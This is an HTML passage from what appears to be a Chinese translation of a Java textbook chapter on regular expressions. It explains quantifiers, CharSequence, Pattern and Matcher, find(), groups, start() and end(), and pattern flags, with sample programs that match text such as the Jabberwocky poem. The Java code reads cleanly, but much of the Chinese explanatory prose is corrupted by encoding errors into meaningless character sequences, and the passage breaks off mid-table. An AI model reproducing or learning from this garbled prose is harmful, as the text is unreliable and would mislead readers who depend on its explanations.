<TR> <TH colSpan=2>逻辑˜qç®—½W?</TH></TR> <TR> <TD>XY</TD> <TD>X 后面跟着 Y</TD></TR> <TR> <TD>X|Y</TD> <TD>X或Y</TD></TR> <TR> <TD>(X)</TD> <TD>一ä¸?要匹配的¾l?capturing group)". 以后可以用\i来表½Cºç¬¬i个被匚w…çš„组ã€?/TD></TR></TBODY></TABLE> <P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR vAlign=top> <TH vAlign=top width=383 colSpan=2>边界匚w…½W?</TH></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>^</SPAN> </TD> <TD vAlign=top width=239>一行的开å§?</TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>$</SPAN> </TD> <TD vAlign=top width=239>一行的¾l“å°¾ </TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>\b</SPAN> </TD> <TD vAlign=top width=239>一个单词的边界 </TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>\B</SPAN> </TD> <TD vAlign=top width=239>一个非单词的边ç•?</TD></TR> <TR vAlign=top> <TD vAlign=top width=143><span id="wmqeeuq" class=original_words>\G</SPAN> </TD> <TD vAlign=top width=239>前一个匹配的¾l“束 </TD></TR></TBODY></TABLE> <P>举一个具体一些的例子。下面这些正则表辑ּéƒ½æ˜¯åˆæ³•的,而且都能匚w…"Rudolph"åQ?/P> <BLOCKQUOTE><PRE>Rudolph [rR]udolph [rR][aeiou][a-z]ol.* R.*</PRE></BLOCKQUOTE> <H3 id=header57>数量表示½W?/H3> <P>"数量表示½W?quantifier)"的作用是定义模式应该匚w…å¤šå°‘个字½W¦ã€?/P> <UL> <LI>Greedy(贪婪çš?åQ?除非另有表示åQŒå¦åˆ™æ•°é‡è¡¨½Cºç¬¦éƒ½æ˜¯greedy的。Greedy的表辑ּä¼šä¸€ç›´åŒ¹é…ä¸‹åŽ»ï¼Œç›´åˆ°åŒšw…ä¸ä¸‹åŽÖMؓ止ã€?U>(如果你发现表辑ּåŒšw…çš„结果与预期的不½W?</U>åQŒå¾ˆæœ‰å¯èƒ½æ˜¯å› äØ“åQŒä½ ä»¥äؓ表达式会只匹配前面几个字½W¦ï¼Œè€Œå®žé™…上它是greedy的,因此会一直匹配下厅R€? <LI>Reluctant(勉强çš?åQ?用问可‚¡¨½Cºï¼Œå®ƒä¼šåŒšw…æœ€ž®‘的字符。也¿UîCØ“lazy, minimal matching, non-greedy, 或ungreedyã€? <LI>Possessive(占有çš?åQ?目前只有Java支持(其它语言都不支持)。它更加先进åQŒæ‰€ä»¥ä½ å¯èƒ½˜q˜ä¸å¤ªä¼šç”¨ã€‚用正则表达式匹配字½W¦ä¸²çš„æ—¶å€™ä¼šäº§ç”Ÿå¾ˆå¤šä¸­é—´çŠ¶æ€ï¼Œ<U>(一般的匚w…å¼•擎会保存这¿Uä¸­é—´çŠ¶æ€ï¼Œ)</U>˜q™æ ·åŒšw…å¤ÞpÓ|的时候就能原路返回了。占有型的表辑ּä¸ä¿å­˜è¿™¿Uä¸­é—´çŠ¶æ€ï¼Œå› æ­¤ä¹Ÿå°±ä¸ä¼šå›žå¤´é‡æ¥äº†ã€‚å®ƒèƒ½é˜²æ­¢æ­£åˆ™è¡¨è¾‘Ö¼çš„失控,同时也能提高˜qè¡Œçš„æ•ˆçއã€?</LI></UL> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR vAlign=top> <TH><span id="wmqeeuq" class=original_words>Greedy</SPAN> </TH> <TH><span id="wmqeeuq" class=original_words>Reluctant</SPAN> </TH> <TH><span id="wmqeeuq" class=original_words>Possessive</SPAN> </TH> <TH>匚w… </TH></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X?</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X??</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X?+</SPAN> </TD> <TD vAlign=top width=231>匚w…ä¸€ä¸ªæˆ–零个<span id="wmqeeuq" class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X*</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X*?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X*+</SPAN> </TD> <TD vAlign=top width=231>匚w…é›¶æˆ–多个<span id="wmqeeuq" class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X+</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X+?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X++</SPAN> </TD> <TD vAlign=top width=231>匚w…ä¸€ä¸ªæˆ–多个<span id="wmqeeuq" class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X{n}</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X{n}?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X{n}+</SPAN> </TD> <TD vAlign=top width=231>匚w…æ­£å¥½nä¸?SPAN class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X{n,}</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X{n,}?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X{n,}+</SPAN> </TD> <TD vAlign=top width=231>匚w…è‡›_°‘nä¸?SPAN class=original_words>X</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=71><span id="wmqeeuq" class=original_words>X{n,m}</SPAN> </TD> <TD vAlign=top width=86><span id="wmqeeuq" class=original_words>X{n,m}?</SPAN> </TD> <TD vAlign=top width=93><span id="wmqeeuq" class=original_words>X{n,m}+</SPAN> </TD> <TD vAlign=top width=231>匚w…è‡›_°‘n个,臛_¤šmä¸?SPAN class=original_words>X</SPAN> </TD></TR></TBODY></TABLE> <P>再提醒一下,要想让表辑ּç…§ä½ çš„æ„æ€åŽ»˜qè¡ŒåQŒä½ åº”该用括åähŠŠ'X'括è“v来。比方说åQ?/P> <BLOCKQUOTE><PRE>abc+</PRE></BLOCKQUOTE> <P>ä¼ég¹Ž˜q™ä¸ªè¡¨è¾¾å¼èƒ½åŒšw…ä¸€ä¸ªæˆ–若干ä¸?abc'åQŒä½†æ˜¯å¦‚果你真的用它åŽÕdŒ¹é…?abcabcabc'的话åQŒå®žé™…上只会扑ֈ°ä¸‰ä¸ªå­—ç¬¦ã€‚å› ä¸ø™¿™ä¸ªè¡¨è¾‘Ö¼çš„æ„æ€æ˜¯'ab'后边跟着一个或多个'c'。要惛_Œ¹é…ä¸€ä¸ªæˆ–多个完整çš?abc'åQŒä½ åº”该˜q™æ ·åQ?/P> <BLOCKQUOTE><PRE>(abc)+</PRE></BLOCKQUOTE> <P>正则表达式能轻而易丑֜°æŠŠä½ ¾l™è€äº†åQ›è¿™æ˜¯ä¸€¿Uå¾ç«‹åœ¨<span id="wmqeeuq" class=original_words>Java</SPAN>之上的新语言ã€?/P> <H4 id=header58>CharSequence</H4> <P>JDK 1.4定义了一个新的接口,å?SPAN class=original_words>CharSequence</SPAN>。它提供äº?SPAN class=original_words>String</SPAN>å’?SPAN class=original_words>StringBuffer</SPAN>˜q™ä¸¤ä¸ªç±»çš„å­—½W¦åºåˆ—的抽象åQ?/P> <BLOCKQUOTE><PRE><FONT color=#0000ff>interface</FONT> CharSequence { charAt(<FONT color=#0000ff>int</FONT> i); length(); subSequence(<FONT color=#0000ff>int</FONT> start, <FONT color=#0000ff>int</FONT> end); toString(); }</PRE></BLOCKQUOTE> <P>ä¸ÞZº†å®žçް˜q™ä¸ªæ–°çš„<span id="wmqeeuq" class=original_words>CharSequence</SPAN>接口åQ?SPAN class=original_words>String</SPAN>åQ?SPAN class=original_words>StringBuffer</SPAN>以及<span id="wmqeeuq" class=original_words>CharBuffer</SPAN>都作了修攏V€‚很多正则表辑ּçš„æ“ä½œéƒ½è¦æ‹¿<span id="wmqeeuq" class=original_words>CharSequence</SPAN>作参数ã€?/P> <H3 id=header59><span id="wmqeeuq" class=original_words>Pattern</SPAN>å’?SPAN class=original_words>Matcher</SPAN></H3> <P>先给一个例子。下面这ŒD늨‹åºå¯ä»¥æµ‹è¯•正则表辑ּæ˜¯å¦åŒšw…å­—符丌Ӏ‚第一个参数是要匹配的字符ä¸ÔŒ¼ŒåŽé¢æ˜¯æ­£åˆ™è¡¨è¾‘Ö¼ã€‚正则表辑ּå¯ä»¥æœ‰å¤šä¸ªã€‚在Unix/Linux环境下,命ä×o行下的正则表辑ּ˜q˜å¿…™åȝ”¨å¼•号ã€?/P> <P>当你创徏正则表达式时åQŒå¯ä»¥ç”¨˜q™ä¸ª½E‹åºæ¥åˆ¤æ–­å®ƒæ˜¯ä¸æ˜¯ä¼šæŒ‰ç…§ä½ çš„要求工作ã€?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:TestRegularExpression.java</FONT> <FONT color=#009900>// Allows you to easly try out regular expressions.</FONT> <FONT color=#009900>// {Args: abcabcabcdefabc "abc+" "(abc)+" "(abc){2,}" }</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> TestRegularExpression { <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { <FONT color=#0000ff>if</FONT>(args.length < 2) { System.out.println(<FONT color=#004488>"Usage:\n"</FONT> + <FONT color=#004488>"java TestRegularExpression "</FONT> + <FONT color=#004488>"characterSequence regularExpression+"</FONT>); System.exit(0); } System.out.println(<FONT color=#004488>"Input: \"</FONT><FONT color=#004488>" + args[0] + "</FONT>\<FONT color=#004488>""</FONT>); <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> i = 1; i < args.length; i++) { System.out.println( <FONT color=#004488>"Regular expression: \"</FONT><FONT color=#004488>" + args[i] + "</FONT>\<FONT color=#004488>""</FONT>); Pattern p = Pattern.compile(args[i]); Matcher m = p.matcher(args[0]); <FONT color=#0000ff>while</FONT>(m.find()) { System.out.println(<FONT color=#004488>"Match \"</FONT>" + m.group() + <FONT color=#004488>"\"</FONT> at positions " + m.start() + <FONT color=#004488>"-"</FONT> + (m.end() - 1)); } } } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P><span id="wmqeeuq" class=original_words>Java</SPAN>的正则表辑ּæ˜¯ç”±<span id="wmqeeuq" class=original_words>java.util.regex</SPAN>çš?SPAN class=original_words>Pattern</SPAN>å’?SPAN class=original_words>Matcher</SPAN>¾cÕd®žçŽ°çš„ã€?SPAN class=original_words>Pattern</SPAN>对象表示¾lç¼–译的正则表达式。静态的<span id="wmqeeuq" class=original_words>compile( )</SPAN>æ–ÒŽ³•è´Ÿè´£ž®†è¡¨½Cºæ­£åˆ™è¡¨è¾‘Ö¼çš„å­—½W¦ä¸²¾~–译æˆ?SPAN class=original_words>Pattern</SPAN>对象。正如上˜qîC¾‹½E‹æ‰€½Cºçš„åQŒåªè¦ç»™<span id="wmqeeuq" class=original_words>Pattern</SPAN>çš?SPAN class=original_words>matcher( )</SPAN>æ–ÒŽ³•送一个字½W¦ä¸²ž®Þpƒ½èŽ·å–ä¸€ä¸?SPAN class=original_words>Matcher</SPAN>对象。此外,<span id="wmqeeuq" class=original_words>Pattern</SPAN>˜q˜æœ‰ä¸€ä¸ªèƒ½å¿«é€Ÿåˆ¤æ–­èƒ½å¦åœ¨<span id="wmqeeuq" class=original_words>input</SPAN>里面扑ֈ°<span id="wmqeeuq" class=original_words>regex</SPAN>çš?注意åQŒåŽŸæ–‡æœ‰è¯¯ï¼Œæ¼äº†æ–ÒŽ³•å?</P> <BLOCKQUOTE><PRE><FONT color=#0000ff>static</FONT> <FONT color=#0000ff>boolean</FONT> matches( regex,  input)</PRE></BLOCKQUOTE> <P>以及能返å›?SPAN class=original_words>String</SPAN>数组çš?SPAN class=original_words>split( )</SPAN>æ–ÒŽ³•åQŒå®ƒèƒ½ç”¨<span id="wmqeeuq" class=original_words>regex</SPAN>把字½W¦ä¸²åˆ†å‰²å¼€æ¥ã€?/P> <P>只要¾l?SPAN class=original_words>Pattern.matcher( )</SPAN>æ–ÒŽ³•传一个字½W¦ä¸²ž®Þpƒ½èŽ·å¾—<span id="wmqeeuq" class=original_words>Matcher</SPAN>对象了。接下来ž®Þpƒ½ç”?SPAN class=original_words>Matcher</SPAN>的方法来查询匚w…çš„结果了ã€?/P> <BLOCKQUOTE><PRE><FONT color=#0000ff>boolean</FONT> matches() <FONT color=#0000ff>boolean</FONT> lookingAt() <FONT color=#0000ff>boolean</FONT> find() <FONT color=#0000ff>boolean</FONT> find(<FONT color=#0000ff>int</FONT> start)</PRE></BLOCKQUOTE> <P><span id="wmqeeuq" class=original_words>matches( )</SPAN>的前提是<span id="wmqeeuq" class=original_words>Pattern</SPAN>匚w…æ•´ä¸ªå­—符ä¸ÔŒ¼Œè€?SPAN class=original_words>lookingAt( )</SPAN>的意思是<span id="wmqeeuq" class=original_words>Pattern</SPAN>匚w…å­—符串的开头ã€?</P> <H4 id=header60>find( )</H4> <P><span id="wmqeeuq" class=original_words>Matcher.find( )</SPAN>的功能是发现<span id="wmqeeuq" class=original_words>CharSequence</SPAN>里的åQŒä¸Žpattern相匹配的多个字符序列。例如:</P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:FindDemo.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> FindDemo { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { Matcher m = Pattern.compile(<FONT color=#004488>"\\w+"</FONT>) .matcher(<FONT color=#004488>"Evening is full of the linnet's wings"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); <FONT color=#0000ff>int</FONT> i = 0; <FONT color=#0000ff>while</FONT>(m.find(i)) { System.out.print(m.group() + <FONT color=#004488>" "</FONT>); i++; } monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"Evening"</FONT>, <FONT color=#004488>"is"</FONT>, <FONT color=#004488>"full"</FONT>, <FONT color=#004488>"of"</FONT>, <FONT color=#004488>"the"</FONT>, <FONT color=#004488>"linnet"</FONT>, <FONT color=#004488>"s"</FONT>, <FONT color=#004488>"wings"</FONT>, <FONT color=#004488>"Evening vening ening ning ing ng g is is s full "</FONT> + <FONT color=#004488>"full ull ll l of of f the the he e linnet linnet "</FONT> + <FONT color=#004488>"innet nnet net et t s s wings wings ings ngs gs s "</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>"<span id="wmqeeuq" class=original_words>\\w+</SPAN>"的意思是"一个或多个单词字符"åQŒå› æ­¤å®ƒä¼šå°†å­—符串直接分解成单词ã€?SPAN class=original_words>find( )</SPAN>像一个è„P代器åQŒä»Žå¤´åˆ°ž®¾æ‰«æä¸€éå­—½W¦ä¸²ã€‚第二个<span id="wmqeeuq" class=original_words>find( )</SPAN>是带<span id="wmqeeuq" class=original_words>int</SPAN>参数的,正如你所看到的,它会告诉æ–ÒŽ³•从哪里开始找——即从参æ•îC½¾|®å¼€å§‹æŸ¥æ‰¾ã€?/P> <H4 id=header61>Groups</H4> <P>Group是指里用括号括è“v来的åQŒèƒ½è¢«åŽé¢çš„表达式调用的正则表达式。Group 0 表示整个表达式,group 1表示½W¬ä¸€ä¸ªè¢«æ‹¬è“v来的groupåQŒä»¥æ­¤ç±»æŽ¨ã€‚所以;</P> <BLOCKQUOTE><PRE>A(B(C))D</PRE></BLOCKQUOTE> <P>里面有三个groupåQšgroup 0æ˜?SPAN class=original_words>ABCD</SPAN>åQ?group 1æ˜?SPAN class=original_words>BC</SPAN>åQŒgroup 2æ˜?SPAN class=original_words>C</SPAN>ã€?/P> <P>你可以用下述<span id="wmqeeuq" class=original_words>Matcher</SPAN>æ–ÒŽ³•来ä‹É用groupåQ?/P> <P><span id="wmqeeuq" class=original_words>public int groupCount( )</SPAN>˜q”回matcher对象中的group的数目。不包括group0ã€?/P> <P><span id="wmqeeuq" class=original_words>public String group( ) </SPAN>˜q”回上次匚w…æ“ä½œ(比方è¯?SPAN class=original_words>find( )</SPAN>)çš„group 0(整个匚w…)</P> <P><span id="wmqeeuq" class=original_words>public String group(int i)</SPAN>˜q”回上次匚w…æ“ä½œçš„æŸä¸ªgroup。如果匹配成功,但是没能扑ֈ°groupåQŒåˆ™˜q”回nullã€?/P> <P><span id="wmqeeuq" class=original_words>public int start(int group)</SPAN>˜q”回上次匚w…æ‰€æ‰‘Öˆ°çš„,group的开始位¾|®ã€?/P> <P><span id="wmqeeuq" class=original_words>public int end(int group)</SPAN>˜q”回上次匚w…æ‰€æ‰‘Öˆ°çš„,group的结束位¾|®ï¼Œæœ€åŽä¸€ä¸ªå­—½W¦çš„下标加一ã€?/P> <P>下面我们举一些group的例子:</P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:Groups.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> Groups { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>final</FONT> String poem = <FONT color=#004488>"Twas brillig, and the slithy toves\n"</FONT> + <FONT color=#004488>"Did gyre and gimble in the wabe.\n"</FONT> + <FONT color=#004488>"All mimsy were the borogoves,\n"</FONT> + <FONT color=#004488>"And the mome raths outgrabe.\n\n"</FONT> + <FONT color=#004488>"Beware the Jabberwock, my son,\n"</FONT> + <FONT color=#004488>"The jaws that bite, the claws that catch.\n"</FONT> + <FONT color=#004488>"Beware the Jubjub bird, and shun\n"</FONT> + <FONT color=#004488>"The frumious Bandersnatch."</FONT>; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { Matcher m = Pattern.compile(<FONT color=#004488>"(?m)(\\S+)\\s+((\\S+)\\s+(\\S+))$"</FONT>) .matcher(poem); <FONT color=#0000ff>while</FONT>(m.find()) { <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> j = 0; j <= m.groupCount(); j++) System.out.print(<FONT color=#004488>"["</FONT> + m.group(j) + <FONT color=#004488>"]"</FONT>); System.out.println(); } monitor.expect(<FONT color=#0000ff>new</FONT> String[]{ <FONT color=#004488>"[the slithy toves]"</FONT> + <FONT color=#004488>"[the][slithy toves][slithy][toves]"</FONT>, <FONT color=#004488>"[in the wabe.][in][the wabe.][the][wabe.]"</FONT>, <FONT color=#004488>"[were the borogoves,]"</FONT> + <FONT color=#004488>"[were][the borogoves,][the][borogoves,]"</FONT>, <FONT color=#004488>"[mome raths outgrabe.]"</FONT> + <FONT color=#004488>"[mome][raths outgrabe.][raths][outgrabe.]"</FONT>, <FONT color=#004488>"[Jabberwock, my son,]"</FONT> + <FONT color=#004488>"[Jabberwock,][my son,][my][son,]"</FONT>, <FONT color=#004488>"[claws that catch.]"</FONT> + <FONT color=#004488>"[claws][that catch.][that][catch.]"</FONT>, <FONT color=#004488>"[bird, and shun][bird,][and shun][and][shun]"</FONT>, <FONT color=#004488>"[The frumious Bandersnatch.][The]"</FONT> + <FONT color=#004488>"[frumious Bandersnatch.][frumious][Bandersnatch.]"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>˜q™é¦–诗是<span id="wmqeeuq" class=original_words><CITE>Through the Looking Glass</CITE></SPAN>的,Lewis Carrollçš?Jabberwocky"的第一部分。可以看到这个正则表辑ּé‡Œæœ‰å¾ˆå¤šç”¨æ‹¬åäh‹¬èµäh¥çš„groupåQŒå®ƒæ˜¯ç”±ä»ÀL„å¤šä¸ª˜qžç®‹çš„非½Iºå­—½W?'<span id="wmqeeuq" class=original_words>\S+</SPAN>')å’Œä“Q意多个连¾l­çš„½Iºæ ¼å­—符('<span id="wmqeeuq" class=original_words>\s+</SPAN>')所¾l„成的,其最¾lˆç›®çš„æ˜¯è¦æ•èŽäh¯è¡Œçš„æœ€åŽä¸‰ä¸ªå•词;'<span id="wmqeeuq" class=original_words>$</SPAN>'表示一行的¾l“尾。但æ˜?<span id="wmqeeuq" class=original_words>$</SPAN>'通常表示整个字符串的¾l“å°¾åQŒæ‰€ä»¥è¿™é‡Œè¦æ˜Žç¡®åœ°å‘Šè¯‰æ­£åˆ™è¡¨è¾‘Ö¼æ³¨æ„æ¢è¡Œ½W¦ã€‚这一ç‚ÒŽ˜¯ç”?<span id="wmqeeuq" class=original_words>(?m)</SPAN>'标志完成çš?模式标志会过一会讲è§?ã€?/P> <H4 id=header62>start( )å’Œend( )</H4> <P>如果匚w…æˆåŠŸåQ?SPAN class=original_words>start( )</SPAN>会返回此‹Æ¡åŒ¹é…çš„开始位¾|®ï¼Œ<span id="wmqeeuq" class=original_words>end( )</SPAN>会返回此‹Æ¡åŒ¹é…çš„¾l“束位置åQŒå³æœ€åŽä¸€ä¸ªå­—½W¦çš„下标加一。如果之前的匚w…ä¸æˆåŠ?或者没匚w…)åQŒé‚£ä¹ˆæ— è®ºæ˜¯è°ƒç”¨<span id="wmqeeuq" class=original_words>start( )</SPAN>˜q˜æ˜¯<span id="wmqeeuq" class=original_words>end( )</SPAN>åQŒéƒ½ä¼šå¼•发一ä¸?SPAN class=original_words>IllegalStateException</SPAN>。下面这ŒD늨‹åºè¿˜æ¼”示äº?SPAN class=original_words>matches( )</SPAN>å’?SPAN class=original_words>lookingAt( )</SPAN>åQ?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:StartEnd.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> StartEnd { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { String[] input = <FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"Java has regular expressions in 1.4"</FONT>, <FONT color=#004488>"regular expressions now expressing in Java"</FONT>, <FONT color=#004488>"Java represses oracular expressions"</FONT> }; Pattern p1 = Pattern.compile(<FONT color=#004488>"re\\w*"</FONT>), p2 = Pattern.compile(<FONT color=#004488>"Java.*"</FONT>); <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> i = 0; i < input.length; i++) { System.out.println(<FONT color=#004488>"input "</FONT> + i + <FONT color=#004488>": "</FONT> + input[i]); Matcher m1 = p1.matcher(input[i]), m2 = p2.matcher(input[i]); <FONT color=#0000ff>while</FONT>(m1.find()) System.out.println(<FONT color=#004488>"m1.find() '"</FONT> + m1.group() + <FONT color=#004488>"' start = "</FONT>+ m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end()); <FONT color=#0000ff>while</FONT>(m2.find()) System.out.println(<FONT color=#004488>"m2.find() '"</FONT> + m2.group() + <FONT color=#004488>"' start = "</FONT>+ m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end()); <FONT color=#0000ff>if</FONT>(m1.lookingAt()) <FONT color=#009900>// No reset() necessary</FONT> System.out.println(<FONT color=#004488>"m1.lookingAt() start = "</FONT> + m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end()); <FONT color=#0000ff>if</FONT>(m2.lookingAt()) System.out.println(<FONT color=#004488>"m2.lookingAt() start = "</FONT> + m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end()); <FONT color=#0000ff>if</FONT>(m1.matches()) <FONT color=#009900>// No reset() necessary</FONT> System.out.println(<FONT color=#004488>"m1.matches() start = "</FONT> + m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end()); <FONT color=#0000ff>if</FONT>(m2.matches()) System.out.println(<FONT color=#004488>"m2.matches() start = "</FONT> + m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end()); } monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"input 0: Java has regular expressions in 1.4"</FONT>, <FONT color=#004488>"m1.find() 'regular' start = 9 end = 16"</FONT>, <FONT color=#004488>"m1.find() 'ressions' start = 20 end = 28"</FONT>, <FONT color=#004488>"m2.find() 'Java has regular expressions in 1.4'"</FONT> + <FONT color=#004488>" start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.lookingAt() start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.matches() start = 0 end = 35"</FONT>, <FONT color=#004488>"input 1: regular expressions now "</FONT> + <FONT color=#004488>"expressing in Java"</FONT>, <FONT color=#004488>"m1.find() 'regular' start = 0 end = 7"</FONT>, <FONT color=#004488>"m1.find() 'ressions' start = 11 end = 19"</FONT>, <FONT color=#004488>"m1.find() 'ressing' start = 27 end = 34"</FONT>, <FONT color=#004488>"m2.find() 'Java' start = 38 end = 42"</FONT>, <FONT color=#004488>"m1.lookingAt() start = 0 end = 7"</FONT>, <FONT color=#004488>"input 2: Java represses oracular expressions"</FONT>, <FONT color=#004488>"m1.find() 'represses' start = 5 end = 14"</FONT>, <FONT color=#004488>"m1.find() 'ressions' start = 27 end = 35"</FONT>, <FONT color=#004488>"m2.find() 'Java represses oracular expressions' "</FONT> + <FONT color=#004488>"start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.lookingAt() start = 0 end = 35"</FONT>, <FONT color=#004488>"m2.matches() start = 0 end = 35"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>注意åQŒåªè¦å­—½W¦ä¸²é‡Œæœ‰˜q™ä¸ªæ¨¡å¼åQ?SPAN class=original_words>find( )</SPAN>ž®Þpƒ½æŠŠå®ƒ¾l™æ‰¾å‡ºæ¥åQŒä½†æ˜?SPAN class=original_words>lookingAt( )</SPAN>å’?SPAN class=original_words>matches( )</SPAN>åQŒåªæœ‰åœ¨å­—符串与正则表达式一开始就相匹配的情况下才能返å›?SPAN class=original_words>true</SPAN>ã€?SPAN class=original_words>matches( )</SPAN>成功的前提是正则表达式与字符串完全匹配,è€?SPAN class=original_words>lookingAt( )</SPAN><A id=ref67 href="mk:@MSITStore:C:\Documents%20and%20Settings\wangkai\桌面\TIJ3_cn.chm::/chap12/nocomment.html#comment67"><SUP>[67]</SUP></A>成功的前提是åQŒå­—½W¦ä¸²çš„开始部分与正则表达式相匚w…ã€?/P> <H4 id=header63>匚w…çš„æ¨¡å¼?Pattern flags)</H4> <P><span id="wmqeeuq" class=original_words>compile( )</SPAN>æ–ÒŽ³•˜q˜æœ‰ä¸€ä¸ªç‰ˆæœ¬ï¼Œå®ƒéœ€è¦ä¸€ä¸ªæŽ§åˆ¶æ­£åˆ™è¡¨è¾‘Ö¼çš„匹配行为的参数åQ?/P> <BLOCKQUOTE><PRE>Pattern Pattern.compile(String regex, <FONT color=#0000ff>int</FONT> flag)</PRE></BLOCKQUOTE><span id="wmqeeuq" class=original_words>flag</SPAN>çš„å–å€ÆDŒƒå›´å¦‚下: <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR> <TH><span id="wmqeeuq" class=original_words>¾~–译标志</SPAN> </TH> <TH><span id="wmqeeuq" class=original_words>效果</SPAN> </TH></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.CANON_EQ</SPAN> </TD> <TD>当且仅当两个字符çš?正规分解(canonical decomposition)"都完全相同的情况下,才认定匹配。比如用了这个标志之后,表达å¼?a\u030A"会匹é…??"。默认情况下åQŒä¸è€ƒè™‘"规范相等æ€?canonical equivalence)"ã€?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.CASE_INSENSITIVE<BR>(?i)</SPAN> </TD> <TD>默认情况下,大小写不明感的匹配只适用于US-ASCII字符集。这个标志能让表辑ּå¿½ç•¥å¤§å°å†™è¿›è¡ŒåŒ¹é…ã€‚要惛_¯¹Unicode字符˜q›è¡Œå¤§å°ä¸æ˜Žæ„Ÿçš„匚w…åQŒåªè¦å°†<span id="wmqeeuq" class=original_words>UNICODE_CASE</SPAN>与这个标志合èµäh¥ž®Þp¡Œäº†ã€?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.COMMENTS<BR>(?x)</SPAN> </TD> <TD>在这¿Uæ¨¡å¼ä¸‹åQŒåŒ¹é…æ—¶ä¼šå¿½ç•?正则表达式里çš?½Iºæ 